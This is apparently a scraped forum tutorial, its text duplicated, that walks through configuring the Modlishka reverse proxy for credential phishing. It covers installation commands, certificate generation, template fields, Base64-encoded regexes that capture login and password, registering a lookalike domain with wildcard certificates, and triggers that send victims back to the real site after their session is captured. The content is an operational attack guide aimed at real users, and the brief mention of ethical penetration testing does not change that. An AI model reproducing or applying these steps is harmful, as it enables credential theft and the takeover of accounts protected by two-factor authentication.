In this article, I propose to consider a method for stealing user credentials using reverse-proxy technology, which will allow us to bypass two-factor authentication.
To do this, we will use and customize a tool quite well known in certain circles called Modlishka.
Modlishka is a powerful and flexible reverse HTTP proxy. It implements a completely new and interesting browser-based approach to handling HTTP traffic flow that allows multi-domain targeted traffic, both TLS and non-TLS, to be transparently proxied across a single domain without the need to install any additional certificate on the client.
What exactly does this mean? In short, it just has a lot of potential that can be used in many use cases.
From a security point of view, Modlishka can currently be used to:
The results achieved were very interesting and the tool was initially released and then updated to:
Features
General:
Safety related:
Installation
The latest source code can be downloaded here (zip) or here (tar).
Get the code with go get:
We carry out a test run:
The output is more informative than practical, but it indicates that there were no errors during the installation.
We check the work of the reverse proxy server directly, run the following command:
As an argument, specify the default google.com config
When we go to the local address of the server where Modlishka is running, we should receive a redirect to the Google start page.
This is achieved as follows:
The page we are requesting contains:
Accordingly, the response from the server will look like this:
Moving on, we create an SSL certificate:
As a result, we have two files:
Copy the contents of these files to autocert.go
Putting it back together.
make
Then you need to import the certificate into the user's browser (we do this in a test environment), below we will analyze the setup with a dedicated server, and "clean" phishing.
We imagine that everything went perfectly, and you can send a phishing link to the user.
Before we start, we need to take a look at the templates in the Modlishka directory. We have only two templates available:
The beauty of Modlishka is that we don't have to tediously write our own clone of the site, or do something like phislets with Evilginx. The template is a json file, just copy it and change it to fit your needs.
Five key parameters need to be changed:
"target"
- Target site.
"trackingCookie"
- Name of the parameter that stores the session token:
"log" - The name of the file where logs will be sent.
"credParams" - Here it is necessary to place, in Base64-encoded form, parameter names + reusular expressions that will characterize the entered characters.
We intercept the authorization request on the site:
We are interested in two parameters here:
We write regular expressions like:
And we encode it all in Base64:
We drop it all into our new json template.
"plugins"
- Turn on all available plugins - "all" Run Modlishka with the following command:
Now, when following the link:
We go to the target site, where we enter credentials, which are successfully transmitted to the attacker:
In addition, in the Modlishka control panel at:
We get control over the victim's session, this is the principle of bypassing 2FA, we have complete control over the session by receiving data about the user's session.
Looks good, but what if the attacker has no way to add the certificate to the victim's browser?
Let's try to figure it out.
First, let's go back to editing the configuration file. Let's add some realism to what is happening.
The victim should be redirected to somewhere after logging in, which could be a real forum account, for example. For demonstration purposes, we will consider this option.
Then we need a server with a "white" IP address, which will host Modlishka, you can use a router + forward ports if the IP "white" is static.
We will assume that you already have all this and are configured. We buy a consonant domain, try to mimic the target site as much as possible.
In my case, it is non-flesh-free - phishing.protey.net
Next, we will get a certificate for it, you can buy it, but LetsEncrypt will also work for tests.
Following the instructions, add a TXT record and get the entire set of certificates.
We are interested in two files:
Copy them to the Modlishka folder.
Let's go back to the config file, parameters:
Accept values in one line, for this you need to slightly change the certificate files:
Then we just copy their contents, and substitute them in the parameters, so that it looks like this:
A few more changes to the configuration file:
"trackingParam": "ident" - In order to save the victim's cookie.
"terminateTriggers": "/ whats-new /", - There is no need to keep the victim constantly through a proxy, we create a trigger that, when going to the "What's new" page, will terminate the session and redirect the user to a legitimate site.
Make sure that everything is ready for phishing:
Launch Modlishka and share the link with the user whose credentials we would like to receive.
The result will be intercepted user credentials and then redirecting the user to the real site.
In the Modlishka control console, we get all the necessary information about the user's session:
Conclusion: A very simple, versatile and flexible tool, definitely useful.
To do this, we will use and customize a tool quite well known in certain circles called Modlishka.
Modlishka is a powerful and flexible reverse HTTP proxy. It implements a completely new and interesting browser-based approach to handling HTTP traffic flow that allows multi-domain targeted traffic, both TLS and non-TLS, to be transparently proxied across a single domain without the need to install any additional certificate on the client.
What exactly does this mean? In short, it just has a lot of potential that can be used in many use cases.
From a security point of view, Modlishka can currently be used to:
- Conduct ethical phishing penetration tests using a transparent and automated reverse proxy component with universal support for two-factor authentication.
- Automatic cache poisoning of HTTP 301 browsers and permanent capture of URLs, without TLS.
- Diagnostics and interception of HTTP traffic of browser applications from the point of view of the Client Domain Hooking attack.
- Wrapping legacy websites in TLS, obfuscating bots, automatic crawlers, etc.
The results achieved were very interesting and the tool was initially released and then updated to:
- Highlight the weaknesses of the current two-factor authentication (2FA) scheme so that adequate security solutions can be created and implemented in the industry.
- Support other projects that might benefit from a generic and transparent reverse proxy.
- Raise community awareness of modern phishing techniques and strategies and support penetration testers in their daily work.
Features
General:
- Point-and-click HTTP and HTTPS reverse proxying of an arbitrary domain.
- Full control over cross-origin TLS traffic flow from your users' browsers (without having to install any additional certificates on the client).
- Easy and fast configuration using command line parameters and JSON configuration files.
- Template-based JavaScript payload injection.
- Wrapping websites with additional "security": TLS wrapping, authentication, matching security headers, etc.
- Removing websites from all encryption and security headers (back to 90s MITM style).
- Stateless design. Can be easily scaled to handle any amount of traffic — for example, through a DNS load balancer.
- Can be easily extended with your ideas with modular plugins.
- TLS certificate autotest plugin for proxy domain (self-signed CA certificate required)
- Written in Go, so it works on almost all platforms and architectures: Windows, OSX, Linux, BSD supported.
Safety related:
- Support for most 2FA authentication schemes (out of the box).
- Practical implementation of the Client Domain Hooking attack. Supported by a diagnostic plugin.
- Collecting user credentials (with context based on the IDs passed in the URL parameter).
- A web panel plugin with a summary of automatically collected credentials and a one-click user session impersonation module (proof-of-concept / beta).
- No website templates (just point Modlishka to the target domain - in most cases it will be processed automatically without additional manual configuration).
Installation
The latest source code can be downloaded here (zip) or here (tar).
Get the code with go get:
Code:
go get -u github.com/drk1wi/ModlishkaWe carry out a test run:
Code:
ModlishkaThe output is more informative than practical, but it indicates that there were no errors during the installation.
We check the work of the reverse proxy server directly, run the following command:
Code:
Modlishka -config /usr/local/Projects/pkg/mod/github.com/drk1wi/\[email protected]/templates/google.com_gsuite.jsonAs an argument, specify the default google.com config
When we go to the local address of the server where Modlishka is running, we should receive a redirect to the Google start page.
This is achieved as follows:
The page we are requesting contains:
Code:
<a href="http://google.com"> Found </a>Accordingly, the response from the server will look like this:
Moving on, we create an SSL certificate:
Code:
openssl genrsa -out MyRootCA.key 2048
Code:
openssl req -x509 -new -nodes -key MyRootCA.key -sha256 -days 1024 -out MyRootCA.pemAs a result, we have two files:
Copy the contents of these files to autocert.go
Putting it back together.
make
Then you need to import the certificate into the user's browser (we do this in a test environment), below we will analyze the setup with a dedicated server, and "clean" phishing.
We imagine that everything went perfectly, and you can send a phishing link to the user.
Before we start, we need to take a look at the templates in the Modlishka directory. We have only two templates available:
- Microsoft
The beauty of Modlishka is that we don't have to tediously write our own clone of the site, or do something like phislets with Evilginx. The template is a json file, just copy it and change it to fit your needs.
Five key parameters need to be changed:
- "target"
- "trackingCookie"
- "log"
- "credParams"
- "plugins"
"target"
- Target site.
"trackingCookie"
- Name of the parameter that stores the session token:
"log" - The name of the file where logs will be sent.
"credParams" - Here it is necessary to place, in Base64-encoded form, parameter names + reusular expressions that will characterize the entered characters.
We intercept the authorization request on the site:
We are interested in two parameters here:
- login
- password
We write regular expressions like:
- login = ((?: \ w + [\. \ - \ _]) {0,} \ w +) &
- password = ((?: \ w + [\. \ - \ _]) {0,} \ w +) &
And we encode it all in Base64:
- bG9naW49KCg / Olx3K1tcLlwtXF9dKXswLH1cdyspJg ==, cGFzc3dvcmQ9KCg / Olx3K1tcLlwtXF9dKXswLH1cdyspJg == "
We drop it all into our new json template.
"plugins"
- Turn on all available plugins - "all" Run Modlishka with the following command:
Code:
./proxy -config /usr/local/Projects/pkg/mod/github.com/drk1wi/\[email protected]/templates/protey.jsonNow, when following the link:
Code:
https://loopback.modlishka.ioWe go to the target site, where we enter credentials, which are successfully transmitted to the attacker:
In addition, in the Modlishka control panel at:
Code:
http://loopback.modlishka.io/SayHello2ModlishkaWe get control over the victim's session, this is the principle of bypassing 2FA, we have complete control over the session by receiving data about the user's session.
Looks good, but what if the attacker has no way to add the certificate to the victim's browser?
Let's try to figure it out.
First, let's go back to editing the configuration file. Let's add some realism to what is happening.
The victim should be redirected to somewhere after logging in, which could be a real forum account, for example. For demonstration purposes, we will consider this option.
Code:
"terminateRedirectUrl": "https://protey.net"Then we need a server with a "white" IP address, which will host Modlishka, you can use a router + forward ports if the IP "white" is static.
We will assume that you already have all this and are configured. We buy a consonant domain, try to mimic the target site as much as possible.
In my case, it is non-flesh-free - phishing.protey.net
Next, we will get a certificate for it, you can buy it, but LetsEncrypt will also work for tests.
Code:
certbot certonly --manual --preferred-challenges dns --manual-public-ip-logging-ok -d '* .phishing.protey.net' -d phishing.protey.netFollowing the instructions, add a TXT record and get the entire set of certificates.
We are interested in two files:
- fullchain.pem
- privkey.pem
Copy them to the Modlishka folder.
Let's go back to the config file, parameters:
Code:
"cert"
"certKey"Accept values in one line, for this you need to slightly change the certificate files:
Code:
sed -i ': a; N; $! ba; s / \ n / \\ n / g' privkey.pem
sed -i ': a; N; $! ba; s / \ n / \\ n / g' fullchain.pemThen we just copy their contents, and substitute them in the parameters, so that it looks like this:
A few more changes to the configuration file:
Code:
"proxyDomain": "phishing.protey.net","trackingParam": "ident" - In order to save the victim's cookie.
"terminateTriggers": "/ whats-new /", - There is no need to keep the victim constantly through a proxy, we create a trigger that, when going to the "What's new" page, will terminate the session and redirect the user to a legitimate site.
Make sure that everything is ready for phishing:
- Server with Modlishka, router with white static IP, port forwarding, etc.
- Domain purchased.
- Certificates received.
- There are no errors in the config file.
Launch Modlishka and share the link with the user whose credentials we would like to receive.
Code:
./proxy -config /usr/local/Projects/pkg/mod/github.com/drk1wi/\[email protected]/templates/protey.jsonThe result will be intercepted user credentials and then redirecting the user to the real site.
In the Modlishka control console, we get all the necessary information about the user's session:
Conclusion: A very simple, versatile and flexible tool, definitely useful.
